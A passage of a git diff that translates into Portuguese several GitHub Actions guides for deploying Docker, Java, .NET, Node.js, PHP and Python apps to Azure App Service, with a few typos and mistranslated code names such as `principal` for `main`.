@@ -49,15 +49,15 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
        --deployment-container-image-name nginx:latest
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   No comando acima, substitua os parâmetros pelos seus próprios valores, em que `MY_WEBAPP_NAME` é um novo nome para o aplicativo web.
 
 {% data reusables.actions.create-azure-publish-profile %}
 
-1. Set registry credentials for your web app.
+1. Defina as credenciais de registro para o seu aplicativo web.
 
-   Create a personal access token with the `repo` and `read:packages` scopes. For more information, see "[Creating a personal access token](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
+   Crie um token de acesso pessoal com os escopos `repositório` e `read:packages`. Para obter mais informações, consulte "[Criando um token de acesso pessoal](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
 
-   Set `DOCKER_REGISTRY_SERVER_URL` to `https://ghcr.io`, `DOCKER_REGISTRY_SERVER_USERNAME` to the GitHub username or organization that owns the repository, and `DOCKER_REGISTRY_SERVER_PASSWORD` to your personal access token from above. This will give your web app credentials so it can pull the container image after your workflow pushes a newly built image to the registry. You can do this with the following Azure CLI command:
+   Defina `DOCKER_REGISTRY_SERVER_URL` como `https://ghcr.io`, `DOCKER_REGISTRY_SERVER_USERNAME` tpara o nome de usuário do GitHub ou organização proprietária do repositório e `DOCKER_REGISTRY_SERVER_PASSWORD` como o seu toke nde acesso pessoal acima. Isso fornecerá credenciais do seu aplicativo web para que ele possa puxar a imagem do contêiner depois que seu fluxo de trabalho fizer push de uma imagem recém-criada para o registro. Você pode fazer isso com o seguinte comando da CLI do Azure:
 
    ```shell
     az webapp config appsettings set \
@@ -67,16 +67,16 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
 ```
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+5. Opcionalmente, configure um ambiente de implantação. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## Criar o fluxo de trabalho
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+Depois de preencher os pré-requisitos, você pode prosseguir com a criação do fluxo de trabalho.
 
-The following example workflow demonstrates how to build and deploy a Docker container to Azure App Service when there is a push to the `main` branch.
+O fluxo de trabalho a seguir demonstra como criar e implantar um contêiner Docker no Azure App Service quando há push para o branch `principal`.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created.
+Certifique-se de definir `AZURE_WEBAPP_NAME` na chave de fluxo de trabalho `env` como o nome do aplicativo web que você criou.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -144,10 +144,10 @@ jobs:
             images: 'ghcr.io/{% raw %}${{ env.REPO }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %}'
 ```
 
-## Additional resources
+## Recursos adicionais
 
-The following resources may also be useful:
+Os seguintes recursos também podem ser úteis:
 
-* For the original starter workflow, see [`azure-container-webapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-container-webapp.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
-* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
+* Para o fluxo de trabalho inicial original, consulte [`azure-container-webapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-container-webapp.yml) no repositório `starter-workflows` de {% data variables.product.prodname_actions %}.
+* A ação usada para fazer a implantação do aplicativo web é a ação oficial [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) do Azure.
+* Para obter mais exemplos de fluxos de trabalho do GitHub Action que fazem a implantação no Azure, consulte o repositório [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples).
diff --git a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md
index 7959f41764..1274cd9fc5 100644
--- a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md
+++ b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying Java to Azure App Service
-intro: You can deploy your Java project to Azure App Service as part of your continuous deployment (CD) workflows.
+title: Implantando o Java no Azure App Service
+intro: Você pode fazer a implantação do seu projeto Java no Azure App Service como parte dos fluxos de trabalho de implantação contínua (CD).
 versions:
   fpt: '*'
   ghes: '*'
@@ -17,29 +17,29 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## Introdução
 
-This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Java project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+Este guia explica como usar {% data variables.product.prodname_actions %} para criar e implantar um projeto Java no [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
 {% note %}
 
-**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+**Observação**: {% data reusables.actions.about-oidc-short-overview %} e "[Configurando OpenID Connect no Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
 
 {% endnote %}
 
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+Antes de criar seu fluxo de trabalho de {% data variables.product.prodname_actions %}, primeiro você precisa concluir as etapas de configuração a seguir:
 
 {% data reusables.actions.create-azure-app-plan %}
 
-1. Create a web app.
+1. Crie um aplicativo web.
 
-   For example, you can use the Azure CLI to create an Azure App Service web app with a Java runtime:
+   Por exemplo, você pode usar o CLI do Azure para criar um aplicativo web do Azure App Service com um tempo de execução do Java:
 
    ```bash{:copy}
    az webapp create \
@@ -49,21 +49,21 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
        --runtime "JAVA|11-java11"
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   No comando acima, substitua os parâmetros pelos seus próprios valores, em que `MY_WEBAPP_NAME` é um novo nome para o aplicativo web.
 
 {% data reusables.actions.create-azure-publish-profile %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-1. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+1. Opcionalmente, configure um ambiente de implantação. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## Criar o fluxo de trabalho
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+Depois de preencher os pré-requisitos, você pode prosseguir com a criação do fluxo de trabalho.
 
-The following example workflow demonstrates how to build and deploy a Java project to Azure App Service when there is a push to the `main` branch.
+O exemplo a seguir de fluxo de trabalho demonstra como construir e implantar um projeto Java para o Azure App Service quando há um push para o branch `principal`.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If you want to use a Java version other than `11`, change `JAVA_VERSION`.
+Certifique-se de definir `AZURE_WEBAPP_NAME` na chave de fluxo de trabalho `env` como o nome do aplicativo web que você criou. Se você quiser usar uma versão Java diferente de `11`, altere `JAVA_VERSION`.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -125,10 +125,10 @@ jobs:
           package: '*.jar'
 ```
 
-## Additional resources
+## Recursos adicionais
 
-The following resources may also be useful:
+Os seguintes recursos também podem ser úteis:
 
-* For the original starter workflow, see [`azure-webapps-java-jar.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-java-jar.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
-* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
+* Para o fluxo de trabalho inicial original, consulte [`azure-webapps-java-jar.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-java-jar.yml) no repositório `starter-workflows` de {% data variables.product.prodname_actions %}.
+* A ação usada para fazer a implantação do aplicativo web é a ação oficial [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) do Azure.
+* Para obter mais exemplos de fluxos de trabalho do GitHub Action que fazem a implantação no Azure, consulte o repositório [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples).
diff --git a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md
index 2da7e39ce0..f0fd5aafe9 100644
--- a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md
+++ b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying .NET to Azure App Service
-intro: You can deploy your .NET project to Azure App Service as part of your continuous deployment (CD) workflows.
+title: Implantando o .NET no Azure App Service
+intro: Você pode fazer a implantação do seu projeto .NET no Azure App Service como parte de seus fluxos de trabalho de implantação contínua (CD).
 versions:
   fpt: '*'
   ghes: '*'
@@ -16,29 +16,29 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## Introdução
 
-This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a .NET project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+Este guia explica como usar {% data variables.product.prodname_actions %} para criar e implantar um projeto .NET no [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
 {% note %}
 
-**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+**Observação**: {% data reusables.actions.about-oidc-short-overview %} e "[Configurando OpenID Connect no Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
 
 {% endnote %}
 
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+Antes de criar seu fluxo de trabalho de {% data variables.product.prodname_actions %}, primeiro você precisa concluir as etapas de configuração a seguir:
 
 {% data reusables.actions.create-azure-app-plan %}
 
-2. Create a web app.
+2. Crie um aplicativo web.
 
-   For example, you can use the Azure CLI to create an Azure App Service web app with a .NET runtime:
+   Por exemplo, você pode usar o CLI do Azure para criar um aplicativo web do Azure App Service com um tempo de execução do .NET:
 
    ```bash{:copy}
    az webapp create \
@@ -48,21 +48,21 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
        --runtime "DOTNET|5.0"
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   No comando acima, substitua os parâmetros pelos seus próprios valores, em que `MY_WEBAPP_NAME` é um novo nome para o aplicativo web.
 
 {% data reusables.actions.create-azure-publish-profile %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+5. Opcionalmente, configure um ambiente de implantação. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## Criar o fluxo de trabalho
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+Depois de preencher os pré-requisitos, você pode prosseguir com a criação do fluxo de trabalho.
 
-The following example workflow demonstrates how to build and deploy a .NET project to Azure App Service when there is a push to the `main` branch.
+O exemplo a seguir de fluxo de trabalho demonstra como construir e implantar um projeto .NET para o Azure App Service quando há um push para o branch `principal`.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH`.  If you use a version of .NET other than `5`, change `DOTNET_VERSION`.
+Certifique-se de definir `AZURE_WEBAPP_NAME` na chave de fluxo de trabalho `env` como o nome do aplicativo web que você criou. Se o caminho para o seu projeto não for a raiz do repositório, altere `AZURE_WEBAPP_PACKAGE_PATH`.  Se você usar uma versão do .NET diferente de `5`, altere o `DOTNET_VERSON`.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -135,10 +135,10 @@ jobs:
           package: {% raw %}${{ env.AZURE_WEBAPP_PACKAGE_PATH }}{% endraw %}
 ```
 
-## Additional resources
+## Recursos adicionais
 
-The following resources may also be useful:
+Os seguintes recursos também podem ser úteis:
 
-* For the original starter workflow, see [`azure-webapps-dotnet-core.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-dotnet-core.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
-* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
+* Para o fluxo de trabalho inicial original, consulte [`azure-webapps-dotnet-core.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-dotnet-core.yml) no repositório `starter-workflows` de {% data variables.product.prodname_actions %}.
+* A ação usada para fazer a implantação do aplicativo web é a ação oficial [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) do Azure.
+* Para obter mais exemplos de fluxos de trabalho do GitHub Action que fazem a implantação no Azure, consulte o repositório [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples).
diff --git a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md
index e6f8f08b7c..3c4bde3e70 100644
--- a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md
+++ b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying Node.js to Azure App Service
-intro: You can deploy your Node.js project to Azure App Service as part of your continuous deployment (CD) workflows.
+title: Implantando o Node.js no Azure App Service
+intro: Você pode fazer a implantação do seu projeto Node.js no Azure App Service como parte de seus fluxos de trabalho de implantação contínua (CD).
 redirect_from:
   - /actions/guides/deploying-to-azure-app-service
   - /actions/deployment/deploying-to-azure-app-service
@@ -22,29 +22,29 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## Introdução
 
-This guide explains how to use {% data variables.product.prodname_actions %} to build, test, and deploy a Node.js project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+Este guia explica como usar {% data variables.product.prodname_actions %} para criar, testar e implantar um projeto Node.js no [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
 {% note %}
 
-**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+**Observação**: {% data reusables.actions.about-oidc-short-overview %} e "[Configurando OpenID Connect no Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
 
 {% endnote %}
 
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+Antes de criar seu fluxo de trabalho de {% data variables.product.prodname_actions %}, primeiro você precisa concluir as etapas de configuração a seguir:
 
 {% data reusables.actions.create-azure-app-plan %}
 
-2. Create a web app.
+2. Crie um aplicativo web.
 
-   For example, you can use the Azure CLI to create an Azure App Service web app with a Node.js runtime:
+   Por exemplo, você pode usar o CLI do Azure para criar um aplicativo web do Azure App Service com um tempo de execução do Node.js:
 
    ```bash{:copy}
    az webapp create \
@@ -54,21 +54,21 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
        --runtime "NODE|14-lts"
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   No comando acima, substitua os parâmetros pelos seus próprios valores, em que `MY_WEBAPP_NAME` é um novo nome para o aplicativo web.
 
 {% data reusables.actions.create-azure-publish-profile %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+5. Opcionalmente, configure um ambiente de implantação. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## Criar o fluxo de trabalho
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+Depois de preencher os pré-requisitos, você pode prosseguir com a criação do fluxo de trabalho.
 
-The following example workflow demonstrates how to build, test, and deploy the Node.js project to Azure App Service when there is a push to the `main` branch.
+O fluxo de trabalho a seguir demonstra como criar, testar e implantar o Node.js, o projeto para o Azure App Service quando há um push para o branch `principal`.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH`  to your project path. If you use a version of Node.js other than `10.x`, change `NODE_VERSION` to the version that you use.
+Certifique-se de definir `AZURE_WEBAPP_NAME` na chave de fluxo de trabalho `env` como o nome do aplicativo web que você criou. Se o caminho para o seu projeto não for a raiz do repositório, altere `AZURE_WEBAPP_PACKAGE_PATH`  para o caminho do seu projeto. Se você usar uma versão do Node.js diferente de `10.x`, altere `NODE_VERSION` para a versão que você usa.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -130,12 +130,11 @@ jobs:
         package: {% raw %}${{ env.AZURE_WEBAPP_PACKAGE_PATH }}{% endraw %}
 ```
 
-## Additional resources
+## Recursos adicionais
 
-The following resources may also be useful:
+Os seguintes recursos também podem ser úteis:
 
-* For the original starter workflow, see [`azure-webapps-node.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-node.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
-* For more examples of GitHub Action workflows that deploy to Azure, see the 
-[actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
-* The "[Create a Node.js web app in Azure](https://docs.microsoft.com/azure/app-service/quickstart-nodejs)" quickstart in the Azure web app documentation demonstrates using VS Code with the [Azure App Service extension](https://marketplace.visualstudio.com/items?itemName=ms-azuretools.vscode-azureappservice).
+* Para o fluxo de trabalho inicial original, consulte [`azure-webapps-node.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-node.yml) no repositório `starter-workflows` de {% data variables.product.prodname_actions %}.
+* A ação usada para fazer a implantação do aplicativo web é a ação oficial [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) do Azure.
+* Para obter mais exemplos de fluxos de trabalho do GitHub Action que fazem a implantação no Azure, consulte o repositório [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples).
+* O início rápido de "[Criar um aplicativo web Node.js no Azure](https://docs.microsoft.com/azure/app-service/quickstart-nodejs)" na documentação do aplicativo web do Azure mostra como usar o VS Code com a [extensão do Azure App Service](https://marketplace.visualstudio.com/items?itemName=ms-azuretools.vscode-azureappservice).
diff --git a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md
index 3931a1c6eb..c89fa6da5f 100644
--- a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md
+++ b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying PHP to Azure App Service
-intro: You can deploy your PHP project to Azure App Service as part of your continuous deployment (CD) workflows.
+title: Implantando o PHP no Azure App Service
+intro: Você pode fazer a implantação do seu projeto PHP no Azure App Service como parte de seus fluxos de trabalho de implantação contínua (CD).
 versions:
   fpt: '*'
   ghes: '*'
@@ -16,29 +16,29 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## Introdução
 
-This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a PHP project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+Este guia explica como usar {% data variables.product.prodname_actions %} para criar e implantar um projeto PHP no [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
 {% note %}
 
-**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+**Observação**: {% data reusables.actions.about-oidc-short-overview %} e "[Configurando OpenID Connect no Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
 
 {% endnote %}
 
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+Antes de criar seu fluxo de trabalho de {% data variables.product.prodname_actions %}, primeiro você precisa concluir as etapas de configuração a seguir:
 
 {% data reusables.actions.create-azure-app-plan %}
 
-2. Create a web app.
+2. Crie um aplicativo web.
 
-   For example, you can use the Azure CLI to create an Azure App Service web app with a PHP runtime:
+   Por exemplo, você pode usar o CLI do Azure para criar um aplicativo web do com o tempo de execução do PHP:
 
    ```bash{:copy}
    az webapp create \
@@ -48,21 +48,21 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
        --runtime "php|7.4"
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   No comando acima, substitua os parâmetros pelos seus próprios valores, em que `MY_WEBAPP_NAME` é um novo nome para o aplicativo web.
 
 {% data reusables.actions.create-azure-publish-profile %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+5. Opcionalmente, configure um ambiente de implantação. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## Criar o fluxo de trabalho
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+Depois de preencher os pré-requisitos, você pode prosseguir com a criação do fluxo de trabalho.
 
-The following example workflow demonstrates how to build and deploy a PHP project to Azure App Service when there is a push to the `main` branch.
+O exemplo a seguir de fluxo de trabalho demonstra como construir e implantar um projeto PHP para o Azure App Service quando há um push para o branch `principal`.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH` to the path to your project. If you use a version of PHP other than `8.x`, change`PHP_VERSION` to the version that you use.
+Certifique-se de definir `AZURE_WEBAPP_NAME` na chave de fluxo de trabalho `env` como o nome do aplicativo web que você criou. Se o caminho para o seu projeto não for a raiz do repositório, mude `AZURE_WEBAPP_PACKAGE_PATH` para o caminho do seu projeto. Se você usar uma versão de PHP diferente do `8.x`, mude `PHP_VERSION` para a versão que você usa.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -146,10 +146,10 @@ jobs:
           package: .
 ```
 
-## Additional resources
+## Recursos adicionais
 
-The following resources may also be useful:
+Os seguintes recursos também podem ser úteis:
 
-* For the original starter workflow, see [`azure-webapps-php.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-php.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
-* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
+* Para o fluxo de trabalho inicial original, consulte [`azure-webapps-php.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-php.yml) no repositório `starter-workflows` de {% data variables.product.prodname_actions %}.
+* A ação usada para fazer a implantação do aplicativo web é a ação oficial [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) do Azure.
+* Para obter mais exemplos de fluxos de trabalho do GitHub Action que fazem a implantação no Azure, consulte o repositório [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples).
diff --git a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md
index f7001b459c..9468c302f6 100644
--- a/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md
+++ b/translations/pt-BR/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying Python to Azure App Service
-intro: You can deploy your Python project to Azure App Service as part of your continuous deployment (CD) workflows.
+title: Implementando o Python no Azure App Service
+intro: Você pode fazer a implantação do seu projeto Python no Azure App Service como parte de seus fluxos de trabalho de implantação contínua (CD).
 versions:
   fpt: '*'
   ghes: '*'
@@ -17,29 +17,29 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## Introdução
 
-This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Python project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+Este guia explica como usar {% data variables.product.prodname_actions %} para criar e implantar um projeto Python no [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
 {% note %}
 
-**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+**Observação**: {% data reusables.actions.about-oidc-short-overview %} e "[Configurando OpenID Connect no Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
 
 {% endnote %}
 
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+Antes de criar seu fluxo de trabalho de {% data variables.product.prodname_actions %}, primeiro você precisa concluir as etapas de configuração a seguir:
 
 {% data reusables.actions.create-azure-app-plan %}
 
-1. Create a web app.
+1. Crie um aplicativo web.
 
-   For example, you can use the Azure CLI to create an Azure App Service web app with a Python runtime:
+   Por exemplo, você pode usar o CLI do Azure para criar um aplicativo web do com o tempo de execução do Python:
 
    ```bash{:copy}
    az webapp create \
@@ -49,23 +49,23 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
        --runtime "python|3.8"
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   No comando acima, substitua os parâmetros pelos seus próprios valores, em que `MY_WEBAPP_NAME` é um novo nome para o aplicativo web.
 
 {% data reusables.actions.create-azure-publish-profile %}
 
-1. Add an app setting called `SCM_DO_BUILD_DURING_DEPLOYMENT` and set the value to `1`.
+1. Adicione uma configuração do aplicativo chamado `SCM_DO_BUILD_DURING_DEPLOYMENT` e defina o valor como `1`.
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+5. Opcionalmente, configure um ambiente de implantação. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## Criar o fluxo de trabalho
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+Depois de preencher os pré-requisitos, você pode prosseguir com a criação do fluxo de trabalho.
 
-The following example workflow demonstrates how to build and deploy a Python project to Azure App Service when there is a push to the `main` branch.
+O exemplo a seguir mostra como criar e implantar um projeto Python no Azure App Service quando há um push para o branch `principal`.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If you use a version of Python other than `3.8`, change `PYTHON_VERSION` to the version that you use.
+Certifique-se de definir `AZURE_WEBAPP_NAME` na chave de fluxo de trabalho `env` como o nome do aplicativo web que você criou. Se você usa uma versão do Python diferente de `3.8`, altere o `PYTHON_VERSION` para a versão que você usa.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -99,7 +99,7 @@ jobs:
         run: |
           python -m venv venv
           source venv/bin/activate
-      
+
       - name: Set up dependency caching for faster installs
         uses: actions/cache@v2
         with:
@@ -142,10 +142,10 @@ jobs:
           publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %}
 ```
 
-## Additional resources
+## Recursos adicionais
 
-The following resources may also be useful:
+Os seguintes recursos também podem ser úteis:
 
-* For the original starter workflow, see [`azure-webapps-python.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-python.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
-* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
+* Para o fluxo de trabalho inicial original, consulte [`azure-webapps-python.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-python.yml) no repositório `starter-workflows` de {% data variables.product.prodname_actions %}.
